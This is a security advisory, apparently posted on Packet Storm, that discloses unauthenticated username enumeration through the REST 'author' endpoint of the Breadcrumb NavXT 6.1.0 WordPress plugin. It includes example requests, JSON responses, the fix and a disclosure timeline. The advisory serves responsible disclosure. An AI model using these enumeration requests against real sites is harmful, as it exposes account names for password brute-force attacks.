exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

WordPress Breadcrumb NavXT 6.1.0 Username Disclosure

WordPress Breadcrumb NavXT 6.1.0 Username Disclosure
Posted Sep 27, 2018
Authored by Janek Vind aka waraxe | Site waraxe.us

WordPress Breadcrumb NavXT plugin version 6.1.0 suffers from a username disclosure vulnerability.

tags | exploit
SHA-256 | a7d331bc7a3c3c5f71c497eb152d46ea8fb5956444bfa1d2462d1d680b57b936

WordPress Breadcrumb NavXT 6.1.0 Username Disclosure

Change Mirror Download

[waraxe-2018-SA#108] - Username Disclosure in Breadcrumb NavXT Wordpress plugin
================================================================================

Author: Janek Vind "waraxe"
Date: 26. September 2018
Location: Estonia, Tartu
Web: https://www.waraxe.us/advisory-108.html

Target description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Breadcrumb NavXT, the successor to the popular WordPress plugin Breadcrumb
Navigation XT, was written from the ground up to be better than its ancestor.
This plugin generates locational breadcrumb trails for your WordPress powered
blog or website. These breadcrumb trails are highly customizable to suit the
needs of just about any website running WordPress.

https://wordpress.org/plugins/breadcrumb-navxt/

Vulnerable version: 6.1.0
Fixed version: 6.2.0
Active installations: 700 000+

###############################################################################
1. Wordpress Username Disclosure via REST API function "author"
###############################################################################

Breadcrumb NavXT plugin provides REST API functionality:

https://localhost/wp498/wp-json/bcn/v1

Let's look at REST API function "author":

/bcn/v1/author/(?P<id>\d+)":{
"namespace":"bcn/v1",
"methods":[
"GET",
"OPTIONS"
],
"endpoints":[
{
"methods":[
"GET",
"OPTIONS"
],
"args":{
"id":{
"required":true,
"description":"The ID of the author to retrieve the breadcrumb trail for.",
"type":"integer"
}
}
}
]
}

https://localhost/wp498/wp-json/bcn/v1/author/1

{"@context":"https:\/\/schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"item":{"@id":"https:\/\/localhost\/wp498","name":"Test site"}},{"@type":"ListItem","position":2,"item":{"@id":"","name":"root"}}]}

https://localhost/wp498/wp-json/bcn/v1/author/4

{"@context":"https:\/\/schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"item":{"@id":"https:\/\/localhost\/wp498","name":"Test site"}},{"@type":"ListItem","position":2,"item":{"@id":"","name":"editor"}}]}

As seen above, Wordpress usernames "root" and "editor" are exposed in API responses.
Closer look at the source code of Breadcrumb NavXT plugin reveals that information exposed
is actually Wordpress user's "display_name", which can be either username or nickname.
By default "display_name" equals to username, but user can change this behavior in "Profile"
menu option "Display name publicly as".

API function "author" can be accessed in unauthenticated state and as result anyone can
list Wordpress usernames without registering or having an account on website.
Wordpress authentication is based on two pieces of information - username and password.
It's possible to launch password bruteforce attack when username is known.

How to fix: upgrade Breadcrumb NavXT Wordpress plugin to version 6.2.0.
In this new version API endpoints are disabled by default.
It's also possible to completely disable Breadcrumb NavXT REST API by setting
BCN_DISABLE_REST_API to true in a site's configuration file "wp-config.php",
as described in https://mtekk.us/archives/guides/disabling-breadcrumb-navxts-rest-api/


Disclosure timeline:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

13.09.2018 -> First email sent to developers
13.09.2018 -> Got first response from developers
13.09.2018 -> Sending detailed information to developers
25.09.2018 -> Found problems are fixed, new version available
26.09.2018 -> Waraxe advisory released

Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com
Janek Vind "waraxe"

Waraxe forum: https://www.waraxe.us/
Personal homepage: https://www.janekvind.com/
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    48 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    60 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close